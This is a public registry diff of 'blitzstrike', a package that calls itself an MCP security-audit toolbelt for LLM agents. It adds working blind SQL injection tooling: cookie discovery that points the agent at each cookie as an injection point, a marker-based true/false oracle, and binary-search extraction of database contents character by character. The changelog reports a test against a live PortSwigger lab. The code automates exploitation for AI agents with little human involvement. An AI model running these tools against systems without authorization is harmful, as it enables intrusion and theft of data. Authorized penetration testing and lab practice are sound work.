blitzstrike 2.4.161 → 2.4.163

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/CHANGELOG.md +28 -0
  2. package/dist/index.js +111 -30
  3. package/package.json +1 -1
package/CHANGELOG.md CHANGED
@@ -5,6 +5,34 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.163] — 2026-10-11
9
+
10
+ ### Added — cookie discovery in live_recon (hint-free injection surface)
11
+
12
+ - `live_recon` now reports cookies as name+value pairs (`cookies` field) parsed
13
+ from the Set-Cookie header(s), plus a next-step telling the LLM to probe each
14
+ with `blind_sqli_confirm`/`blind_sqli_extract`. Cookies (e.g. PortSwigger's
15
+ `TrackingId`) are a first-class injection surface invisible to URL/param scans;
16
+ this lets the LLM discover a cookie-based blind-SQLi point WITHOUT the lab hint.
17
+
18
+ ## [2.4.162] — 2026-10-11
19
+
20
+ ### Added — binary-search extraction + marker oracle (blind SQLi)
21
+
22
+ - `blind_sqli_extract` now binary-searches the charset (≈6 requests/char) instead
23
+ of a full linear scan — via a `>` string-comparison template derived from the
24
+ `=` template (the trailing `--` already neutralizes the original closing quote).
25
+ Per-char equality verify + linear fallback keeps case-insensitive collations and
26
+ special chars correct.
27
+ - Added a `marker` option to `blind_sqli_confirm` + `blind_sqli_extract`: a text
28
+ that appears ONLY in the TRUE response (e.g. "Welcome back"). The boolean oracle
29
+ becomes marker-presence — robust against baseline page-size drift (PortSwigger
30
+ home drifts ~2.6KB between requests, which broke exact byte-count equality).
31
+ Byte-count fallback is now nearest-reference (closest to TRUE vs FALSE size).
32
+ - Verified end-to-end on a live PortSwigger blind-SQLi lab (TrackingId cookie,
33
+ PostgreSQL): confirm both channels + extract version="PostgreSQL",
34
+ database="academy_labs".
35
+
8
36
  ## [2.4.161] — 2026-10-11
9
37
 
10
38
  ### Added — Cookie injection support (blind SQLi)
package/dist/index.js CHANGED
@@ -37159,6 +37159,26 @@ function extractParams(urls) {
37159
37159
  }
37160
37160
  return [...params];
37161
37161
  }
37162
+ function extractCookieNames(headers) {
37163
+ const sc = headers["set-cookie"] ?? "";
37164
+ if (!sc)
37165
+ return [];
37166
+ const out = [];
37167
+ const seen = new Set;
37168
+ for (const part of sc.split(",")) {
37169
+ const seg = part.trim().split(";")[0].trim();
37170
+ const eq = seg.indexOf("=");
37171
+ if (eq <= 0)
37172
+ continue;
37173
+ const name = seg.slice(0, eq).trim();
37174
+ const value = seg.slice(eq + 1).trim();
37175
+ if (/^[A-Za-z0-9_.-]+$/.test(name) && !seen.has(name)) {
37176
+ seen.add(name);
37177
+ out.push({ name, value });
37178
+ }
37179
+ }
37180
+ return out;
37181
+ }
37162
37182
  async function subdomainEnum(domain) {
37163
37183
  const out = new Set;
37164
37184
  try {
@@ -37481,6 +37501,7 @@ async function liveRecon(target, includeActive = false) {
37481
37501
  const allUrls = [...links, ...scripts, ...robots, ...sitemap];
37482
37502
  const crawl = { links, scripts, endpoints: [...new Set(allUrls)], robots, sitemap, count: allUrls.length };
37483
37503
  const params = extractParams(allUrls);
37504
+ const cookies = extractCookieNames(root.headers);
37484
37505
  const [subRes, dnsRes, waybackRes, apiRes] = await Promise.all([
37485
37506
  subdomainEnum(host),
37486
37507
  dnsBrute(host),
@@ -37519,6 +37540,8 @@ async function liveRecon(target, includeActive = false) {
37519
37540
  nextSteps.push(`Found ${crawl.endpoints.length} endpoints — feed them to taint_file/blitz_scan for source analysis, or strike_verify for live validation.`);
37520
37541
  if (params.length > 0)
37521
37542
  nextSteps.push(`Discovered input params: ${params.join(", ")} — these are attack-surface entry points; fuzz them with payload_lookup after scope confirms.`);
37543
+ if (cookies.length > 0)
37544
+ nextSteps.push(`Discovered cookies: ${cookies.map((c) => c.name).join(", ")} — cookies are a first-class injection surface (blind SQLi / XSS / auth) invisible to URL/param scans; probe each with blind_sqli_confirm + blind_sqli_extract (cookie= param).`);
37522
37545
  if (subdomains.length > 0)
37523
37546
  nextSteps.push(`Found ${subdomains.length} subdomains — each is a separate scope surface; enumerate further with fofa_search.`);
37524
37547
  if (dnsFindings.length > 0)
@@ -37545,6 +37568,7 @@ async function liveRecon(target, includeActive = false) {
37545
37568
  suggested_surfaces: surfaces.map((s) => ({ id: s.id, name: s.name, high_value_tests: s.high_value_tests, matched_fingerprints: s.hits })),
37546
37569
  crawl,
37547
37570
  params,
37571
+ cookies,
37548
37572
  subdomains,
37549
37573
  dns_findings: dnsFindings,
37550
37574
  wayback_urls: wayback,
@@ -62486,6 +62510,13 @@ function makeFetcher(base, param, method, bodyTpl, cookieName) {
62486
62510
  return -1;
62487
62511
  }
62488
62512
  },
62513
+ async body(payload) {
62514
+ try {
62515
+ return await (await send(payload)).text();
62516
+ } catch {
62517
+ return "";
62518
+ }
62519
+ },
62489
62520
  async time(payload) {
62490
62521
  const t0 = Date.now();
62491
62522
  await this.size(payload);
@@ -62499,17 +62530,29 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}
62499
62530
  if (!p)
62500
62531
  return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
62501
62532
  const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
62533
+ const marker = opts.marker ?? "";
62502
62534
  let boolDiff = false, bt = -1, bf = -1;
62503
62535
  let boolBypass = null;
62504
62536
  const btv = oracleBypassVariants(p.oracle.boolean_true);
62505
62537
  const bfv = oracleBypassVariants(p.oracle.boolean_false);
62506
62538
  for (let i = 0;i < btv.length; i++) {
62507
- const t = await F.size(`${value}${btv[i]}`);
62508
- const f = await F.size(`${value}${bfv[i]}`);
62509
- if (t >= 0 && f >= 0 && t !== f) {
62539
+ const tP = `${value}${btv[i]}`, fP = `${value}${bfv[i]}`;
62540
+ let diff = false, tN = -1, fN = -1;
62541
+ if (marker) {
62542
+ const tb = await F.body(tP), fb = await F.body(fP);
62543
+ diff = tb.includes(marker) !== fb.includes(marker);
62544
+ tN = tb.length;
62545
+ fN = fb.length;
62546
+ } else {
62547
+ const t = await F.size(tP), f = await F.size(fP);
62548
+ diff = t >= 0 && f >= 0 && t !== f;
62549
+ tN = t;
62550
+ fN = f;
62551
+ }
62552
+ if (diff) {
62510
62553
  boolDiff = true;
62511
- bt = t;
62512
- bf = f;
62554
+ bt = tN;
62555
+ bf = fN;
62513
62556
  boolBypass = i === 0 ? null : btv[i];
62514
62557
  break;
62515
62558
  }
@@ -62572,22 +62615,37 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62572
62615
  const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
62573
62616
  const getSize = (payload) => F.size(payload);
62574
62617
  const getTime = (payload) => F.time(payload);
62618
+ const getBody = (payload) => F.body(payload);
62619
+ const marker = opts.marker ?? "";
62575
62620
  const maxlen = opts.maxlen ?? 64;
62576
62621
  let channel = opts.channel ?? "boolean";
62577
62622
  const contexts = ["'", '"', "", "')", '")'];
62578
62623
  let ctx = "'";
62579
- let trueSize = -1;
62624
+ let trueSize = -1, falseSize = -1;
62625
+ let ctxFound = false;
62580
62626
  if (channel === "boolean") {
62581
62627
  for (const c of contexts) {
62582
- const t = await getSize(`${value}${p.oracle.boolean_true.replace(/^'/, c)}`);
62583
- const f = await getSize(`${value}${p.oracle.boolean_false.replace(/^'/, c)}`);
62584
- if (t >= 0 && f >= 0 && t !== f) {
62585
- ctx = c;
62586
- trueSize = t;
62587
- break;
62628
+ const tp = `${value}${p.oracle.boolean_true.replace(/^'/, c)}`;
62629
+ const fp = `${value}${p.oracle.boolean_false.replace(/^'/, c)}`;
62630
+ if (marker) {
62631
+ if ((await getBody(tp)).includes(marker) !== (await getBody(fp)).includes(marker)) {
62632
+ ctx = c;
62633
+ ctxFound = true;
62634
+ break;
62635
+ }
62636
+ } else {
62637
+ const t = await getSize(tp);
62638
+ const f = await getSize(fp);
62639
+ if (t >= 0 && f >= 0 && t !== f) {
62640
+ ctx = c;
62641
+ trueSize = t;
62642
+ falseSize = f;
62643
+ ctxFound = true;
62644
+ break;
62645
+ }
62588
62646
  }
62589
62647
  }
62590
- if (trueSize < 0)
62648
+ if (!ctxFound)
62591
62649
  channel = "time";
62592
62650
  }
62593
62651
  if (channel === "time") {
@@ -62601,16 +62659,24 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62601
62659
  }
62602
62660
  }
62603
62661
  const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
62662
+ const bsCharset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
62604
62663
  const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
62605
62664
  const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62606
- const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
62665
+ const isTrue = async (tpl, pos, ch) => {
62666
+ if (channel === "time")
62667
+ return await getTime(render(tpl, pos, ch)) > 600;
62668
+ if (marker)
62669
+ return (await getBody(render(tpl, pos, ch))).includes(marker);
62670
+ const s = await getSize(render(tpl, pos, ch));
62671
+ return s >= 0 && Math.abs(s - trueSize) <= Math.abs(s - falseSize);
62672
+ };
62607
62673
  const variants = extractBypassVariants(baseTpl);
62608
62674
  let tpl = variants[0];
62609
62675
  let tplBypass = null;
62610
62676
  for (const v of variants) {
62611
62677
  let ok = false;
62612
62678
  for (const ch of charset) {
62613
- if (await matches(v, 1, ch)) {
62679
+ if (await isTrue(v, 1, ch)) {
62614
62680
  ok = true;
62615
62681
  break;
62616
62682
  }
@@ -62621,18 +62687,31 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62621
62687
  break;
62622
62688
  }
62623
62689
  }
62690
+ const gtTpl = tpl.replace(/='\{char\}'/, ">'{char}'");
62691
+ const extractChar = async (pos) => {
62692
+ let lo = 0, hi = bsCharset.length - 1;
62693
+ while (lo < hi) {
62694
+ const mid = lo + hi >> 1;
62695
+ if (await isTrue(gtTpl, pos, bsCharset[mid]))
62696
+ lo = mid + 1;
62697
+ else
62698
+ hi = mid;
62699
+ }
62700
+ const ch = bsCharset[lo];
62701
+ if (await isTrue(tpl, pos, ch))
62702
+ return ch;
62703
+ for (const c of charset) {
62704
+ if (await isTrue(tpl, pos, c))
62705
+ return c;
62706
+ }
62707
+ return null;
62708
+ };
62624
62709
  let out = "";
62625
62710
  for (let pos = 1;pos <= maxlen; pos++) {
62626
- let found = null;
62627
- for (const ch of charset) {
62628
- if (await matches(tpl, pos, ch)) {
62629
- found = ch;
62630
- break;
62631
- }
62632
- }
62633
- if (found === null)
62711
+ const ch = await extractChar(pos);
62712
+ if (ch === null)
62634
62713
  break;
62635
- out += found;
62714
+ out += ch;
62636
62715
  }
62637
62716
  out = out.trimEnd();
62638
62717
  return {
@@ -65414,10 +65493,11 @@ ${statusLine}` : statusLine },
65414
65493
  dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
65415
65494
  method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
65416
65495
  body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')"),
65417
- cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)")
65496
+ cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)"),
65497
+ marker: string2().optional().describe("Text that appears ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for pages whose size drifts; overrides byte-count")
65418
65498
  }
65419
- }, async ({ base_url, param, value, dbms, method, body, cookie }) => {
65420
- return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie })) }] };
65499
+ }, async ({ base_url, param, value, dbms, method, body, cookie, marker }) => {
65500
+ return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie, marker })) }] };
65421
65501
  });
65422
65502
  server.registerTool("blind_sqli_extract", {
65423
65503
  title: "Blind SQLi metadata extraction (autonomous)",
@@ -65434,10 +65514,11 @@ ${statusLine}` : statusLine },
65434
65514
  index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
65435
65515
  method: string2().optional().describe("'GET' (default) or 'POST'"),
65436
65516
  body: string2().optional().describe("POST body template with {value} placeholder"),
65437
- cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')")
65517
+ cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')"),
65518
+ marker: string2().optional().describe("Text appearing ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for size-drifting pages")
65438
65519
  }
65439
- }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie }) => {
65440
- return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie })) }] };
65520
+ }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie, marker }) => {
65521
+ return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie, marker })) }] };
65441
65522
  });
65442
65523
  server.registerTool("oob_start", {
65443
65524
  title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.161",
3
+ "version": "2.4.163",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {